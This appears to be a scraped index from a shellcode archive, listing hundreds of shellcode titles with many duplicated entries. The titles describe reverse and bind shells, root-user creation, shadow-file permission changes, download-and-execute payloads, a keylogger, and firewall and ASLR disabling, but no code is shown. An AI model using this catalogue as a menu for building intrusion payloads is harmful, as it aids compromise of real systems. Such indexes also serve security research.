Bind TCP /bin/sh Shell (64533/TCP) Shellcode (97 bytes) ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Polymorphic Shellcode (Generator) Linux/ARM - execve(_/bin/sh__ [_/bin/sh_]_ NULL) Polymorphic Shellcode (Generator) Windows x86 - Write-to-file ('pwned' ./f.txt) Null-Free Shellcode (278 bytes) Linux/x86-64 - execve(_/sbin/iptables__ [_/sbin/iptables__ _-F_]_ NULL) Shellcode (49 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (8080/TCP) Shellcode (75 bytes) Linux/x86 - execve /bin/sh Polymorphic Null-Free Shellcode (46 bytes) Windows x86 - Write-to-file ('pwned' ./f.txt) Null-Free Shellcode (278 bytes) Linux/x86-64 - execve(_/sbin/iptables__ [_/sbin/iptables__ _-F_]_ NULL) Shellcode (49 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (8080/TCP) Shellcode (75 bytes) Linux/x86 - execve /bin/sh Polymorphic Null-Free Shellcode (46 bytes) Windows x86 - Egghunter Checksum Routine Shellcode (18 bytes) Windows XP SP3 x86 (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes) Windows XP Professional SP3 x86 (English) - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes) Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes) Windows XP Professional SP3 x86 (English) - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes) Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes) Linux/ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode Linux/ARM - Bind UDP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode Windows 5.0 < 7.0 x86 - Speaking 'You got pwned!' Null-Free Shellcode Windows x86 - Eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69/93 bytes) Windows x86 - Eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69/93 bytes) Linux/x86 - Disable ASLR Security Shellcode (83 bytes) Linux/x86 - Reverse TCP SSL Shell (localhost:8080/TCP) Shellcode (422 bytes) Linux/SuperH (sh4) - Add Root User (shell-storm/toor) Shellcode (143 bytes) Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes) Linux/x86 - Egghunter Null-Free Shellcode (29 bytes) Linux/x86 - Reverse TCP SSL Shell (localhost:8080/TCP) Shellcode (422 bytes) Linux/SuperH (sh4) - Add Root User (shell-storm/toor) Shellcode (143 bytes) Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes) Linux/x86 - Egghunter Null-Free Shellcode (29 bytes) Linux/SuperH (sh4) - setuid(0); + execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/SuperH (sh4) - setuid(0) + execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/x86-64 - execve /bin/sh Shellcode (52 bytes) Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86 - Search For '.PHP'/'.HTML' Writable Files + Add Code Shellcode (380+ bytes) Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes) Linux/x86 - execve /bin/dash Shellcode (42 bytes) Linux/x86 - chmod 666 /etc/passwd + /etc/shadow Shellcode (57 bytes) Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86 - Search For '.PHP'/'.HTML' Writable Files + Add Code Shellcode (380+ bytes) Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes) Linux/x86 - execve /bin/dash Shellcode (42 bytes) Linux/x86 - chmod 666 /etc/passwd + /etc/shadow Shellcode (57 bytes) Windows x86 - Bind TCP Password (damn_it!$$##@;*#) Shell Shellcode (637 bytes) Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes) Linux/x86 - Remote Port Forwarding (ssh -R 9999:localhost:22 192.168.0.226) Shellcode (87 bytes) Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes) Linux/x86 - Remote Port Forwarding (ssh -R 9999:localhost:22 192.168.0.226) Shellcode (87 bytes) Linux/x86 - Reverse TCP Shell (192.168.1.10:31337/TCP) Shellcode (92 bytes) MIPS (Little Endian) - system() Shellcode (80 bytes) Linux/MIPS (Little Endian) - system() Shellcode (80 bytes) Linux/x86 - Egghunter Shellcode (31 bytes) Linux/x86 - Egg Omelet (Multi-Egghunter) + Reverse TCP /bin/sh Shell (192.168.122.1:43981/TCP) Shellcode Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 bytes) Linux/x86 - Egghunter Shellcode (31 bytes) Linux/x86 - Egg Omelet (Multi-Egghunter) + Reverse TCP /bin/sh Shell (192.168.122.1:43981/TCP) Shellcode Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 bytes) Linux/x86 - execve /bin/sh + Socket Re-Use Shellcode (50 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP /bin/bash Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86 - Add Map (google.com 127.1.1.1) In /etc/hosts Shellcode (77 bytes) Linux/x86-64 - execve(_/bin/sh\0__NULL_NULL); Position Independent Alphanumeric Shellcode (87 bytes) Linux/x86 - rmdir Shellcode (37 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) + Password (Z~r0) Null-Free Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free + Null-Mask Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Linux/x86 - execve /bin/sh + Socket Re-Use Shellcode (50 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP /bin/bash Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86 - Add Map (127.1.1.1 google.com) In /etc/hosts Shellcode (77 bytes) Linux/x86-64 - execve(_/bin/sh\0__NULL_NULL) Position Independent Alphanumeric Shellcode (87 bytes) Linux/x86 - rmdir Shellcode (37 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) + Password (Z~r0) Null-Free Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free + Null-Mask Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Linux/x86-64 - Read /etc/passwd + Write To /tmp/outfile Shellcode (118 bytes) Linux/x86 - execve /bin/sh ROT13 Encoded Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes) Linux/x86 - Add Map (google.com 127.1.1.1) In /etc/hosts Obfuscated Shellcode (98 bytes) Linux/x86 - execve /bin/sh Obfuscated Shellcode (40 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.1.133:33333/TCP) Shellcode (72 bytes) Linux/x86 - Bind TCP /bin/sh Shell (33333/TCP) Shellcode (96 bytes) Linux/x86 - Disable ASLR Security Shellcode (84 bytes) Linux/x86 - Egghunter Shellcode (20 bytes) Linux/x86-64 - Read /etc/passwd + Write To /tmp/outfile Shellcode (118 bytes) Linux/x86 - execve /bin/sh ROT13 Encoded Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes) Linux/x86 - Add Map (127.1.1.1 google.com) In /etc/hosts Obfuscated Shellcode (98 bytes) Linux/x86 - execve /bin/sh Obfuscated Shellcode (40 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.1.133:33333/TCP) Shellcode (72 bytes) Linux/x86 - Bind TCP /bin/sh Shell (33333/TCP) Shellcode (96 bytes) Linux/x86 - Disable ASLR Security Shellcode (84 bytes) Linux/x86 - Egghunter Shellcode (20 bytes) Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes) Linux/x86 - setreuid(0_ 0) + execve(_/sbin/halt_) + exit(0) Shellcode (49 bytes) Linux/x86 - execve /bin/sh Shellcode (35 bytes) Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes) Windows XP SP3 x86 - Restart Shellcode (57 bytes) Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes) Linux/x86 - setreuid(0_ 0) + execve(_/sbin/halt_) + exit(0) Shellcode (49 bytes) Linux/x86 - execve /bin/sh Shellcode (35 bytes) Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes) Windows XP SP3 x86 - Restart Shellcode (57 bytes) Linux/x86 - execve /bin/sh (Push Method) Shellcode (21 bytes) Linux/x86-64 - execve /bin/sh Via Push Shellcode (23 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (17771/TCP) Shellcode (58 bytes) Linux/x86 - exit(0) Shellcode (6 bytes) Linux/x86 - execve /bin/sh Shellcode (26 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) (1) Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - Shutdown(init 0) Shellcode (30 bytes) Linux/x86 - Read /etc/passwd Shellcode (58 bytes) Linux/x86 - mkdir HACK + chmod 777 + exit(0) Shellcode (29 bytes) Linux/x86 - Bind Netcat Shell (5555/TCP) Shellcode (60 bytes) Linux/x86-64 - execve /bin/sh Null-Free Shellcode (30 bytes) Linux/x86 - Download File + Execute Shellcode Linux/x86 - Reboot Shellcode (28 bytes) Linux/x86 - execve /bin/sh Shellcode (23 bytes) Linux/x86 - chmod 0777 /etc/passwd Shellcode (42 bytes) Linux/x86 - chmod /etc/gshadow Shellcode (37 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (42 bytes) Linux/x86 - exec /bin/dash Shellcode (45 bytes) Linux/x86-64 - execve Encoded Shellcode (57 bytes) Linux/x86 - execve /bin/sh ROT7 Encoded Shellcode Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes) Linux/x86 - Egghunter Shellcode (19 bytes) Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes) Linux/x86 - execve /bin/sh ROL/ROR Encoded Shellcode Windows 2003 x64 - Token Stealing Shellcode (59 bytes) Linux/x86 - execve /bin/sh (Push Method) Shellcode (21 bytes) Linux/x86-64 - execve /bin/sh Via Push Shellcode (23 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (17771/TCP) Shellcode (58 bytes) Linux/x86 - exit(0) Shellcode (6 bytes) Linux/x86 - execve /bin/sh Shellcode (26 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) (1) Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - Shutdown(init 0) Shellcode (30 bytes) Linux/x86 - Read /etc/passwd Shellcode (58 bytes) Linux/x86 - mkdir HACK + chmod 777 + exit(0) Shellcode (29 bytes) Linux/x86 - Bind Netcat Shell (5555/TCP) Shellcode (60 bytes) Linux/x86-64 - execve /bin/sh Null-Free Shellcode (30 bytes) Linux/x86 - Download File + Execute Shellcode Linux/x86 - Reboot Shellcode (28 bytes) Linux/x86 - execve /bin/sh Shellcode (23 bytes) Linux/x86 - chmod 0777 /etc/passwd Shellcode (42 bytes) Linux/x86 - chmod /etc/gshadow Shellcode (37 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (42 bytes) Linux/x86 - exec /bin/dash Shellcode (45 bytes) Linux/x86-64 - execve Encoded Shellcode (57 bytes) Linux/x86 - execve /bin/sh ROT7 Encoded Shellcode Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes) Linux/x86 - Egghunter Shellcode (19 bytes) Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes) Linux/x86 - execve /bin/sh ROL/ROR Encoded Shellcode Windows 2003 x64 - Token Stealing Shellcode (59 bytes) Linux/x86 - execve /bin/bash Shellcode (31 bytes) Linux/x86 - execve(_/bin/cat__ [_/bin/cat__ _/etc/passwd_]_ NULL) Shellcode (75 bytes) Linux/x86-64 - execve /bin/sh Shellcode (34 bytes) Linux/x86-64 - execve Shellcode (22 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Linux/x86-64 - Egghunter Shellcode (24 bytes) Linux/x86-64 - execve Polymorphic Shellcode (31 bytes) Linux/x86-64 - execve Shellcode (22 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Linux/x86-64 - Egghunter Shellcode (24 bytes) Linux/x86-64 - execve Polymorphic Shellcode (31 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (103 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (hack) Shell (4444/TCP) Null-Free Shellcode (162 bytes) Linux/x86 - execve /bin/sh Shellcode (24 bytes) (1) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free Shellcode (151 bytes) Linux/x86-64 - Egghunter Shellcode (18 bytes) Linux/x86 - Egghunter Shellcode (13 bytes) Linux/x86-64 - execve XOR/NOT/DIV Encoded Shellcode (54 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (103 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (hack) Shell (4444/TCP) Null-Free Shellcode (162 bytes) Linux/x86 - execve /bin/sh Shellcode (24 bytes) (1) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free Shellcode (151 bytes) Linux/x86-64 - Egghunter Shellcode (18 bytes) Linux/x86 - Egghunter Shellcode (13 bytes) Linux/x86-64 - execve XOR/NOT/DIV Encoded Shellcode (54 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (135 bytes) Linux/x86 - Download File + Execute Shellcode (135 bytes) Linux/x86-64 - execve Stack Polymorphic Shellcode (47 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (135 bytes) Linux/x86 - Download File + Execute Shellcode (135 bytes) Linux/x86-64 - execve Stack Polymorphic Shellcode (47 bytes) Windows x86 - Download File + Run via WebDAV (//192.168.1.19/c) Null-Free Shellcode (96 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.2:1234/TCP) Shellcode (134 bytes) Linux/x86-64 - execve /bin/sh Shellcode (26 bytes) Linux/x86-64 - execve /bin/sh Shellcode (25 bytes) (1) Linux/x86-64 - execve /bin/bash Shellcode (33 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (81 bytes) Linux/x86-64 - Read /etc/passwd Shellcode (65 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (86 bytes) Windows x86 - URLDownloadToFileA() (http://192.168.86.130/sample.exe) + SetFileAttributesA() (pyld.exe) + WinExec() + ExitProcess() Shellcode (394 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (1250 bytes) Windows x86 - Download File + Run via WebDAV (//192.168.1.19/c) Null-Free Shellcode (96 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.2:1234/TCP) Shellcode (134 bytes) Linux/x86-64 - execve /bin/sh Shellcode (26 bytes) Linux/x86-64 - execve /bin/sh Shellcode (25 bytes) (1) Linux/x86-64 - execve /bin/bash Shellcode (33 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (81 bytes) Linux/x86-64 - Read /etc/passwd Shellcode (65 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (86 bytes) Windows x86 - URLDownloadToFileA() (http://192.168.86.130/sample.exe) + SetFileAttributesA() (pyld.exe) + WinExec() + ExitProcess() Shellcode (394 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (1250 bytes) Windows .Net Framework x86 - Execute Native x86 Shellcode Linux/x86-64 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Windows .Net Framework x86 - Execute Native x86 Shellcode Linux/x86-64 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Linux/x86-64 - Download File (http://192.168.30.129/pri.sh) + Execute Used To Steal Information Shellcode (399 bytes) Linux/x86 - Bind TCP /bin/bash Shell (4444/TCP) Shellcode (656 bytes) Linux/x86-64 - execve XOR Encoded Shellcode (84 bytes) Linux/x86-64 - Download File (http://192.168.30.129/pri.sh) + Execute Used To Steal Information Shellcode (399 bytes) Linux/x86 - Bind TCP /bin/bash Shell (4444/TCP) Shellcode (656 bytes) Linux/x86-64 - execve XOR Encoded Shellcode (84 bytes) Windows x86 - WinExec(_cmd.exe__0) Shellcode (184 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (13337/TCP) Shellcode (56 bytes) Windows x86 - system(_systeminfo_) Shellcode (224 bytes) Windows x86 - WinExec(_cmd.exe__0) Shellcode (184 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (13337/TCP) Shellcode (56 bytes) Windows x86 - system(_systeminfo_) Shellcode (224 bytes) Windows x86 - ShellExecuteA(NULL_NULL__cmd.exe__NULL_NULL_1) Shellcode (250 bytes) Linux/x86 - execve /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - Reverse TCP cat /etc/passwd (192.168.86.128:1472/TCP) Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shell Null-Free Shellcode (64 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (98 bytes) Linux/x86-64 - Bind Ncat Shell (4442/TCP) / SSL / Multi-Channel (4444-4447/TCP) / Persistant / Fork / IPv4/6 / Password Null-Free Shellcode (176 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.227.129:4444/TCP) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Null-Free Shellcode (172 bytes) Linux/x86 - Reverse Xterm Shell (127.1.1.1:10) Shellcode (68 bytes) Linux/x86-64 - Bind TCP Shell (4442/TCP) / Syscall Persistent / Multi-Terminal (4444-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Windows x86 - ShellExecuteA(NULL_NULL__cmd.exe__NULL_NULL_1) Shellcode (250 bytes) Linux/x86 - execve /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - Reverse TCP cat /etc/passwd (192.168.86.128:1472/TCP) Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shell Null-Free Shellcode (64 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (98 bytes) Linux/x86-64 - Bind Ncat Shell (4442/TCP) / SSL / Multi-Channel (4444-4447/TCP) / Persistant / Fork / IPv4/6 / Password Null-Free Shellcode (176 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.227.129:4444/TCP) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Null-Free Shellcode (172 bytes) Linux/x86 - Reverse Xterm Shell (127.1.1.1:10) Shellcode (68 bytes) Linux/x86-64 - Bind TCP Shell (4442/TCP) / Syscall Persistent / Multi-Terminal (4444-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/x86 - execve /bin/sh Shellcode (19 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4:46357/TCP) / Subtle Probing / Timer / Burst / Password (la crips) / Multi-Terminal Shellcode (84/122/172 bytes) Windows 7 x86 - localhost Port Scanner Shellcode (556 bytes) Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes) Linux/x86 - Bind TCP /bin/zsh Shell (9090/TCP) Shellcode (96 bytes) Linux/x86 - Reverse TCP /bin/zsh Shell (127.255.255.254:9090/TCP) Shellcode (80 bytes) Windows x86 - MessageBoxA Shellcode (242 bytes) Windows x86 - CreateProcessA cmd.exe Shellcode (253 bytes) Windows x86 - InitiateSystemShutdownA() Shellcode (599 bytes) Windows x64 - cmd.exe WinExec() Shellcode (93 bytes) Windows x86 - Reverse UDP Keylogger (www.example.com:4444/UDP) Shellcode (493 bytes) Windows x64 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Injection Shellcode (694 bytes) Linux/x86-64 - execve /bin/sh -c reboot Shellcode (89 bytes) Windows x64 - Download File (http://192.168.10.129/pl.exe) + Execute (C:/Users/Public/p.exe) Shellcode (358 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - execve /bin/bash -c Arbitrary Command Execution Null-Free Shellcode (72 bytes) Windows x64 - Bind TCP Password (h271508F) Shell (2493/TCP) Shellcode (825 bytes) Windows x64 - CreateRemoteThread() DLL Injection Shellcode (584 bytes) Linux/x86-64 - mkdir Shellcode (25 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (87 bytes) Linux/x86-64 - execve /bin/sh Shellcode (22 bytes) Linux/x86 - execve /bin/sh Shellcode (19 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4:46357/TCP) / Subtle Probing / Timer / Burst / Password (la crips) / Multi-Terminal Shellcode (84/122/172 bytes) Windows 7 x86 - localhost Port Scanner Shellcode (556 bytes) Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes) Linux/x86 - Bind TCP /bin/zsh Shell (9090/TCP) Shellcode (96 bytes) Linux/x86 - Reverse TCP /bin/zsh Shell (127.255.255.254:9090/TCP) Shellcode (80 bytes) Windows x86 - MessageBoxA Shellcode (242 bytes) Windows x86 - CreateProcessA cmd.exe Shellcode (253 bytes) Windows x86 - InitiateSystemShutdownA() Shellcode (599 bytes) Windows x64 - cmd.exe WinExec() Shellcode (93 bytes) Windows x86 - Reverse UDP Keylogger (www.example.com:4444/UDP) Shellcode (493 bytes) Windows x64 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Injection Shellcode (694 bytes) Linux/x86-64 - execve /bin/sh -c reboot Shellcode (89 bytes) Windows x64 - Download File (http://192.168.10.129/pl.exe) + Execute (C:/Users/Public/p.exe) Shellcode (358 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - execve /bin/bash -c Arbitrary Command Execution Null-Free Shellcode (72 bytes) Windows x64 - Bind TCP Password (h271508F) Shell (2493/TCP) Shellcode (825 bytes) Windows x64 - CreateRemoteThread() DLL Injection Shellcode (584 bytes) Linux/x86-64 - mkdir Shellcode (25 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (87 bytes) Linux/x86-64 - execve /bin/sh Shellcode (22 bytes) Linux/x86 - Reverse TCP /bin/sh Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Windows x86 - SE_DACL_PROTECTED Protect Process Shellcode (229 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Linux/x86 - SELinux Permissive Mode Switcher Shellcode (45 bytes) Linux/x86-64 - Egghunter Shellcode (38 bytes) Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (Random TCP Port) Shellcode (54 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.45:4444/TCP) Shellcode (84 bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 bytes) Linux/x86-64 - setuid(0) + execve(/bin/sh) Polymorphic Shellcode (31 bytes) Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Polymorphic Shellcode (47 bytes) Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1337) Shellcode (72 bytes) Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1234) Polymorphic Shellcode (106 bytes) Windows x86 - Hide Console Window Shellcode (182 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (127.1.1.1:8888/TCP) Null-Free Shellcode (67/69 bytes) Linux/x86 - execve /bin/dash Shellcode (30 bytes) Windows x86 - SE_DACL_PROTECTED Protect Process Shellcode (229 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Linux/x86 - SELinux Permissive Mode Switcher Shellcode (45 bytes) Linux/x86-64 - Egghunter Shellcode (38 bytes) Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (Random TCP Port) Shellcode (54 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.45:4444/TCP) Shellcode (84 bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 bytes) Linux/x86-64 - setuid(0) + execve(/bin/sh) Polymorphic Shellcode (31 bytes) Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Polymorphic Shellcode (47 bytes) Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1337) Shellcode (72 bytes) Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1234) Polymorphic Shellcode (106 bytes) Windows x86 - Hide Console Window Shellcode (182 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (127.1.1.1:8888/TCP) Null-Free Shellcode (67/69 bytes) Linux/x86 - execve /bin/dash Shellcode (30 bytes) Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 bytes) Linux/x86 - Bind TCP /bin/sh Shell (Random TCP Port) Shellcode (44 bytes) Linux/x86 - Read /etc/passwd Shellcode (54 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Null-Free Shellcode (67 bytes) Linux/x86 - Reverse TCP /bin/bash Shell (192.168.3.119:54321/TCP) Shellcode (110 bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) Windows 10 x64 - Egghunter Shellcode (45 bytes) Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) (2) Linux/x86 - Egghunter Shellcode (18 bytes) Linux/x86 - Disable ASLR Security Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Null-Free Shellcode (113 bytes) Linux/ARM - Add Map (127.1.1.1 google.lk) In /etc/hosts Shellcode (79 bytes) Linux/ARM - chmod(_/etc/passwd__ 0777) Shellcode (39 bytes) Linux/ARM - creat(_/root/pwned__ 0777) Shellcode (39 bytes) Linux/ARM - execve(_/bin/sh__ []_ [0 vars]) Shellcode (35 bytes) Linux/ARM - execve(_/bin/sh__NULL_0) Shellcode (31 bytes) Android/ARM - Reverse TCP /system/bin/sh Shell (10.0.2.2:0x3412/TCP) Shellcode (79 bytes) Linux/StrongARM - setuid() Shellcode (20 bytes) Linux/StrongARM - execve(/bin/sh) Shellcode (47 bytes) Linux/StrongARM - Bind TCP /bin/sh Shell Shellcode (203 bytes) Linux/SPARC - setreuid(0_0) + execve(/bin/sh) Shellcode (64 bytes) 